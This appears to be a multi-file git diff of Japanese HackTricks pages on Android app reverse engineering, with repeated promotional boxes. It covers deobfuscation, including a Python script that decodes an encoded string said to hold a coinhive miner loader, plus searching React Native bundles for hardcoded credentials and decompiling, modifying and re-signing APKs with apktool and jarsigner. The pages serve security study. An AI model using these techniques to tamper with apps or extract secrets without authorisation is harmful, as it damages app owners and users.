<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksにあなたの会社を広告したいですか** または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。**
* **ハッキングのトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
## 参考文献
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)

View file

@ -2,30 +2,30 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
HackTricksをサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手する
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details>
**[https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
**以下をご覧ください:[https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
HackTricksをサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手する
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details>

View file

@ -1,84 +1,50 @@
```markdown
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) を使ってゼロからヒーローまで AWS ハッキングを学ぶ</strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
HackTricks をサポートする他の方法:
HackTricksをサポートする他の方法:
* **HackTricks にあなたの会社を広告掲載したい場合や HackTricks を PDF でダウンロードしたい場合は**、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式の PEASS & HackTricks グッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションをチェックする
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)や [**telegram グループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォローする**。
* **HackTricks** の [**GitHub リポジトリ**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) に PR を提出して、あなたのハッキングテクニックを共有する。
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**を**フォロー**する
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**する
</details>
## デオブスキュフェーションの方法
## **手動** De-obfuscation Techniques
デオブスキュフェーション戦略は、オブスキュフェーションの方法に依存します。このセクションでは、静的分析やリバースに適した静的デオブスキュフェーションテクニックを紹介します:
**ソフトウェアセキュリティ**の領域では、**de-obfuscation**として知られる、不明瞭なコードを理解可能なものにするプロセスが重要です。このガイドでは、静的解析技術と難読化パターンの認識に焦点を当て、de-obfuscationのさまざまな戦略について探究します。さらに、実践的な応用のための演習を紹介し、より高度なトピックに興味を持つ人々に向けた追加リソースを提案します。
* DEX バイトコード (Java) の場合、一般的なアプローチは、アプリケーションのデオブスキュフェーションメソッドを特定し、Java ファイルに複製して、オブスキュフェートされた要素に対して実行することです。
* Java とネイティブコードの両方において、別のテクニックは、デオブスキュフェーションアルゴリズムを Python のような馴染みのあるスクリプト言語に翻訳することであり、アルゴリズムを理解することが重要ではなく、実行できることが重要であることを強調します。
### **静的De-obfuscationの戦略**
## オブスキュフェーションの指標
**難読化されたコード**に対処する際には、難読化の性質に応じていくつかの戦略が採用されます:
オブスキュフェーションを認識するには、以下の例を含む特定の指標を識別することが関わります:
- **DEXバイトコードJava**効果的なアプローチの1つは、アプリケーションのde-obfuscationメソッドを特定し、これらのメソッドをJavaファイルに複製することです。このファイルを実行して、対象要素の難読化を逆転させます。
- **Javaとネイティブコード**別の方法は、de-obfuscationアルゴリズムをPythonなどのスクリプト言語に変換することです。この戦略は、アルゴリズムを完全に理解することが目的ではなく、効果的に実行することが主な目標であることを強調しています。
* Java と Android で文字列が欠如しているか、スクランブルされた文字列が存在することは、文字列のオブスキュフェーションを示唆しています。
* assets ディレクトリ内のバイナリファイルの存在や DexClassLoader の呼び出しは、コードのアンパッキングとローディングが可能であることを示しています。
* 識別可能な JNI 関数がないネイティブライブラリの使用は、ネイティブメソッドのオブスキュフェーションを示唆しています。
### **難読化の識別**
### 文字列デオブスキュフェーション演習
難読化されたコードを認識することは、de-obfuscationプロセスの最初のステップです。主な指標には次のものがあります
静的分析の文脈で文字列デオブスキュフェーションを練習するための演習が提供されています。このタスクは、特定の SHA256 ダイジェストを持つサンプルファイルを含み、アナリストはアプリケーションを動的に実行することなく、オブスキュフェートされた Javascript 文字列を明らかにする必要があります。
- JavaとAndroidでの**文字列の欠如またはスクランブル**、これは文字列の難読化を示唆する可能性があります。
- アセットディレクトリ内の**バイナリファイルの存在**や`DexClassLoader`への呼び出しは、コードの展開と動的ロードを示唆しています。
- **識別不能なJNI関数とネイティブライブラリの使用**は、ネイティブメソッドの難読化を示唆しています。
解決策は、エンコードされた文字列を解読する Python スクリプトを含み、coinhive.com からの埋め込みスクリプトを明らかにし、マイナーを開始します。
## **De-obfuscationにおける動的解析**
### 追加リソース
制御された環境でコードを実行することにより、動的解析は**難読化されたコードの振る舞いをリアルタイムで観察**することを可能にします。この方法は、コードの真の意図を隠すために設計された複雑な難読化パターンの内部動作を明らかにするのに特に効果的です。
特に高度なオブスキュフェーションテクニックに焦点を当てた Android アプリのデオブスキュフェーションに関するさらなる洞察は、BlackHat USA 2018 と REcon 2019 のトークで探求することができます。それぞれが Android アプリケーションのオブスキュフェーションのユニークな側面をカバーしています。
### **動的解析の応用**
演習元 https://maddiestone.github.io/AndroidAppRE/obfuscation.html:
```
```python
enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"
- **ランタイム復号化**:多くの難読化技術は、文字列やコードセグメントを暗号化し、ランタイムでのみ復号化されることがあります。動的解析により、これらの暗号化された要素を復号化時にキャプチャし、その真の形を明らかにすることができます。
- **難読化技術の識別**:アプリケーションの振る舞いを監視することで、動的解析はコード仮想化、パッカー、または動的コード生成など、使用されている特定の難読化技術を特定するのに役立ちます。
- **隠された機能の発見**:難読化されたコードには、静的解析だけでは明らかにならない隠された機能が含まれている場合があります。動的解析により、条件付きで実行されるコードパスを含むすべてのコードパスを観察することで、そのような隠された機能を発見できます。
length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
count += 2
print dec_str
key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
count += 1
print ''.join(dec_str)
```
# 参考文献とさらなる読み物
## 参考文献とさらなる読書
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
* BlackHat USA 2018: 「Unpacking the Packed Unpacker: Androidのアンチアナリシスライブラリを逆アセンブルする」 \[[ビデオ](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* このトークでは、Androidアプリケーションで使用されている最も複雑なアンチアナリシスネイティブライブラリの一つを逆アセンブルする過程を説明しています。主にネイティブコードの難読化技術について取り上げています。
* REcon 2019: 「ペイロードへの道: Androidエディション」 \[[ビデオ](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
* このトークでは、Androidボットネットがその振る舞いを隠すために使用していた、Javaコードのみの難読化技術のシリーズについて議論しています。
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* このトークでは、Androidアプリケーションで使用されている最も複雑なアンチ解析ネイティブライブラリのリバースエンジニアリングについて説明しています。主にネイティブコードでの難読化技術に焦点を当てています。
* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
* このトークでは、Androidボットネットが行っていたJavaコードのみでの一連の難読化技術について説明しています。

View file

@ -1,64 +1,62 @@
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>React Native Code Analysis</title>
</head>
<body>
<script src="index.android.bundle"></script>
</body>
</html>
```
<details>
このコードは、ブラウザでJavaScriptコードを実行し、デバッグツールを使用して解析するためのものです。
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
React Nativeフレームワークを使用して構築されたアプリケーションの分析には、以下の手順に従ってください
HackTricks をサポートする他の方法:
1. APKファイルの拡張子をzipに変更し、`cp com.example.apk example-apk.zip` と `unzip -qq example-apk.zip -d ReactNative` コマンドを使用して新しいフォルダに展開します。
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または [**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに提出してください。
2. 新しく作成されたReactNativeフォルダに移動し、assetsフォルダを探します。このフォルダ内には、React JavaScriptが圧縮された形式で含まれている `index.android.bundle` ファイルが見つかるはずです。
</details>
3. `find . -print | grep -i ".bundle$"` コマンドを使用して、JavaScriptファイルを検索します。
# React Nativeアプリケーションの分析
JavaScriptコードをさらに分析するには、同じディレクトリに `index.html` という名前のファイルを作成し、上記のコードを使用します。
アプリケーションがReact Nativeフレームワークで構築されているかどうかを確認するには、次の手順に従います:
1. APKファイルの名前をzip拡張子で変更し、`cp com.example.apk example-apk.zip` というコマンドを使用して新しいフォルダに展開します。`unzip -qq example-apk.zip -d ReactNative`。
2. 新しく作成されたReactNativeフォルダに移動し、assetsフォルダを見つけます。このフォルダの中には、React JavaScriptをミニファイされた形式で含む `index.android.bundle` ファイルがあるはずです。
3. JavaScriptファイルを検索するには、`find . -print | grep -i ".bundle$"` というコマンドを使用します。
JavaScriptコードをさらに分析するために、同じディレクトリに `index.html` という名前のファイルを作成し、次のコードを追加します:
```html
<script src="./index.android.bundle"></script>
```
以下の手順に従ってください:
1. [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/)にファイルをアップロードするか、次の手順に従います
1. Google Chromeで`index.html`ファイルを開きます。
2. Google Chromeで`index.html`ファイルを開きます。
2. **OS Xの場合はCommand+Option+J**、**Windowsの場合はControl+Shift+J**を押して開発者ツールバーを開きます。
3. **OS Xの場合はCommand+Option+J**、**Windowsの場合はControl+Shift+J**を押して開発者ツールバーを開きます。
3. 開発者ツールバーで"Sources"をクリックします。メインバンドルを構成するフォルダやファイルに分割されたJavaScriptファイルが表示されるはずです。
4. 開発者ツールバーで「Sources」をクリックします。メインバンドルを構成するフォルダやファイルに分割されたJavaScriptファイルが表示されるはずです。
`index.android.bundle.map`というファイルを見つけた場合、ソースコードを非圧縮形式で分析することができます。マップファイルにはソースマッピングが含まれており、圧縮された識別子をマップすることができます。
`index.android.bundle.map`というファイルが見つかった場合、ソースコードを非最小化形式で分析できます。Mapファイルには、最小化された識別子をマッピングするためのソースマッピングが含まれています。
機密情報やエンドポイントを探すには、以下の手順に従ってください
機密情報やエンドポイントを検索するには、以下の手順に従います
1. JavaScriptコードを分析するために、機密キーワードを特定します。React NativeアプリケーションはしばしばFirebase、AWS S3サービスエンドポイント、プライベートキーなどのサードパーティサービスを使用します。
1. JavaScriptコードを分析するための機密キーワードを特定します。React Nativeアプリケーションでは、Firebase、AWS S3サービスエンドポイント、プライベートキーなどのサードパーティーサービスがよく使用されます。
2. この特定のケースでは、アプリケーションがDialogflowサービスを使用していることが観察されました。その設定に関連するパターンを検索します。
2. この特定のケースでは、アプリケーションがDialogflowサービスを使用していることが観察されました。その構成に関連するパターンを検索します。
3. コンプロセス中にJavaScriptコード内で機密のハードコードされた資格情報が見つかったこと幸運でした。
3. コンプロセス中にJavaScriptコード内で機密のハードコードされた資格情報が見つかったこと幸運でした。
全体として、これらの手順に従うことで、React Nativeアプリケーションを分析し、そのフレームワークを確認し、コード内の潜在的な機密情報を探すことができます。
# 参考文献
## 参考文献
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details>

View file

@ -1,96 +1,98 @@
# Smali - デコンパイル/修正/コンパイル
# Smali - Decompiling/\[Modifying]/Compiling
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)。
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
アプリケーションコードを変更して、隠された情報にアクセスすることは、時に興味深いですおそらくよく難読化されたパスワードやフラグなど。そのため、apkをデコンパイルしてコードを変更し、再コンパイルすることが興味深いかもしれません。
アプリケーションコードを変更して隠された情報にアクセスすることが興味深い場合がありますおそらくよく隠されたパスワードやフラグ。その後、APKを逆コンパイルしてコードを変更し、再コンパイルすることが興味深いかもしれません。
**オペコードリファレンス:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
## 早い方法
**Visual Studio Code**と[APKLab](https://github.com/APKLab/APKLab)拡張機能を使用すると、コマンドを実行せずにアプリケーションを**自動的にデコンパイル**、修正、**再コンパイル**、署名してインストールすることができます。
**Visual Studio Code**と[APKLab](https://github.com/APKLab/APKLab)拡張機能を使用すると、**自動的に逆コンパイル**、変更、**再コンパイル**、署名してアプリケーションを実行せずにインストールできます。
このタスクを大幅に簡略化する**スクリプト**もあります。[**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)****
このタスクを大幅に簡略化する**スクリプト**は、[**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)です。
## APKをコンパイルする
## APKをコンパイルする
APKToolを使用すると、**smaliコードとリソース**にアクセスできます:
```
```bash
apktool d APP.apk
```
もし**apktool**にエラーが出る場合は、[**最新バージョン**](https://ibotpeaches.github.io/Apktool/install/)をインストールしてみてください。
If **apktool** gives you any error, try [installing the **latest version**](https://ibotpeaches.github.io/Apktool/install/)
注目すべき**興味深いファイル**は以下の通りです:
Some **interesting files you should look are**:
* _res/values/strings.xml_ (およびres/values/\*内のすべてのxml)
* _res/values/strings.xml_ (and all xmls inside res/values/\*)
* _AndroidManifest.xml_
* 拡張子が_.sqlite_または_.db_の任意のファイル
* Any file with extension _.sqlite_ or _.db_
もし`apktool`が**アプリケーションのデコードに問題**を抱えている場合は、[https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)を参照するか、引数**`-r`**を使用してみてください(リソースをデコードしない)。その後、問題がソースコードではなくリソースにある場合、問題は発生しなくなります(リソースも逆コンパイルされません)。
If `apktool` has **problems decoding the application** take a look to [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) or try using the argument **`-r`** (Do not decode resources). Then, if the problem was in a resource and not in the source code, you won't have the problem (you won't also decompile the resources).
## Smaliコードの変更
## Change smali code
**命令を変更**したり、一部の変数の**値を変更**したり、新しい命令を**追加**することができます。私は[**VS Code**](https://code.visualstudio.com)を使用してSmaliコードを変更します。その後、**smalise拡張機能**をインストールし、エディタが**不正な命令**を教えてくれます。\
以下にいくつかの**例**があります:
You can **change** **instructions**, change the **value** of some variables or **add** new instructions. I change the Smali code using [**VS Code**](https://code.visualstudio.com), you then install the **smalise extension** and the editor will tell you if any **instruction is incorrect**.\
Some **examples** can be found here:
* [Smaliの変更の例](smali-changes.md)
* [Smali changes examples](smali-changes.md)
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
または、[**以下でSmaliの変更の詳細**を確認できます](smali-changes.md#modifying-smali)。
Or you can [**check below some Smali changes explained**](smali-changes.md#modifying-smali).
## APKの再コンパイル
## Recompile the APK
コードを変更した後、以下のコマンドを使用してコードを**再コンパイル**できます:
After modifying the code you can **recompile** the code using:
```bash
apktool b . #In the folder generated when you decompiled the application
```
新しいAPKを**dist**フォルダーの**内部**に**コンパイル**します。
それは**dist**フォルダーの中に新しいAPKを**コンパイル**します。
もし**apktool**が**エラー**を出した場合は、[**最新バージョン**](https://ibotpeaches.github.io/Apktool/install/)をインストールしてみてください。
もし**apktool**が**エラー**を出したら、[**最新バージョン**をインストール](https://ibotpeaches.github.io/Apktool/install/)してみてください。
### **新しいAPKに署名する**
次に、**キーを生成**する必要があります(パスワードといくつかの情報が求められますが、ランダムに入力しても構いません)。
その後、**キーを生成**する必要があります(パスワードとランダムに入力できる情報が求められます):
```bash
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
```
最後に、新しいAPKに**署名**してください:
最後に、新しいAPKに**署名**を付けます:
```bash
jarsigner -keystore key.jks path/to/dist/* <your-alias>
```
### 新しいアプリケーションの最適化
**zipalign**は、AndroidアプリケーションAPKファイルに重要な最適化を提供するアーカイブ整列ツールです。[詳細はこちら](https://developer.android.com/studio/command-line/zipalign)。
**zipalign**は、AndroidアプリケーションAPKファイルに重要な最適化を提供するアーカイブ整列ツールです。[こちらで詳細を確認](https://developer.android.com/studio/command-line/zipalign)。
```bash
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
zipalign -v 4 infile.apk
```
### **新しいAPKに署名する**
### **新しいAPKに署名する**
もしjarsignerの代わりに\[**apksigner**]\([**https://developer.android.com/studio/command-line/apksigner**](https://developer.android.com/studio/command-line/apksigner))を使用したい場合、zipalignを適用した後にapkに署名する必要があります。ただし、注意してください。apkはjarsignerzipalignの前またはaspsignerzipalignの後**一度だけ**署名する必要があります
もしjarsignerの代わりに[**apksigner**](https://developer.android.com/studio/command-line/)を使用したい場合、zipalignを適用した後にapkに署名する必要があります。ただし、jarsignerzipalignの前またはaspsignerzipalignの後アプリケーションに署名する必要があるのは**1回だけ**であることに注意してください
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
```
## Smaliの変更
以下のHello World Javaコードに対して
```
のHello World Javaコードに対して
```java
public static void printHelloWorld() {
